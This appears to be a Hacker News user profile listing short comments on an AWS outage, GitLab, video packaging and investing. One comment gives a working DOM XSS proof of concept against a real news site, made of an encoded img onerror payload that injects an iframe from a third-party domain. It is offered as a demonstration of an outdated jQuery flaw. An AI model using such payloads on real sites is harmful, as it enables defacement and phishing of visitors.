nilsjuenemann
Joined 15 years ago
Karma
1,336
Submissions
68
Member since
Aug 29
Recent submissions
Comment · 7 years ago
Yes, eu-central-1c all instances down. A lot of services responding with 503, console has problems as well (errors loading services, API calls with 503). Started 7:29 UTC.
We saw also connection timeouts to DynamoDB and Kinesis from ec2 instances.
Update from AWS:
12:08 AM PST We are investigating increased network connectivity errors to instances in a single Availability Zone in the EU-CENTRAL-1 Region.
12:28 AM PST We are experiencing elevated API error rates and network connectivity errors in a single Availability Zone. We have identified the root cause and are working to resolve the issue.
Comment · 7 years ago
Why is this on HN? It's again another $random Wikipedia article.
Comment · 7 years ago
Hm. Just enterprise-grade. I need military-grade und planet-scale.
Comment · 8 years ago
It looks like that GitLab got the Featuritis. Instead of adding tons of unready and half baked feature it should focus on stability and performance.
Comment · 9 years ago
Ah, actually the packager supports MPEG-DASH as output.
Comment · 9 years ago
For AWS Elemental MediaLive there is no MPEG-DASH output. It's also limited to Ireland, Singapore, Virginia and Oregon.
Comment · 10 years ago
Is there already a pre-built package for MacOSX?
Comment · 10 years ago
Only for US customers...
"Requirements
* A U.S. Amazon account
* A U.S. shipping address (50 United States and the District of Columbia only)
* An annual Amazon Prime membership or 30-day Amazon Prime free trial
* A payment method issued by a U.S. bank with a U.S. billing address in your 1-Click settings
* A device with access to the Alexa Voice Service (such as Amazon Echo)"
Comment · 11 years ago
That isn't true. Every static website could be vulnerable through DOM XSS.
In this case the integrity of the site is violated.
PoC: http://bit.ly/1S834lS - redirects to http://www.heute.de/#"><img src=x onerror=document.write(String.fromCharCode(60,105,102,114,97,109,101, 32,115,114,99,61,34,104,116,116,112,58,47,47,99,97,116, 46,119,119,119,46,104,101,117,116,101,46,100,101,46,109,101,111,119, 98,105,102,121,46,99,111,109,47,34,32,115,116,121,108,101,61,34,98, 111,114,100,101,114,58,32,48,59,32,119,105,100,116,104,58,32,49,48, 48,37,59,32,104,101,105,103,104,116,58,32,49,48,48,37,59,32,109,97, 114,103,105,110,58,32,45,56,112,120,59,112,111,115,105,116,105,111, 110,58,32,97,98,115,111,108,117,116,101,59,34,62))>
We just inject a iframe through the onerror handler of the <img> tag:
<iframe src="http://cat.www.heute.de.meowbify.com/" style="border: 0; width: 100%; height: 100%; margin: -8px;position: absolute;"></iframe>
In this case the site is using a outdated jQuery version, which is vulnerable to this kind of attack.
Comment · 11 years ago
Investing directly in the market (via EFT) is always a good idea. Look at this chart, percentage change of S&P 600 SPY EFT in the last 3y. 60% increase.
https://www.tradingview.com/x/r6ahpcAy/
If your timeframe is long, buy & hold is alaways a good strategy.
[ my public key: https://keybase.io/nilsjuenemann; my proof: https://keybase.io/nilsjuenemann/sigs/hKuU8-wqBInXLIHlS27JWDJjcuGVQ6IKnq6vDXv3D2E ]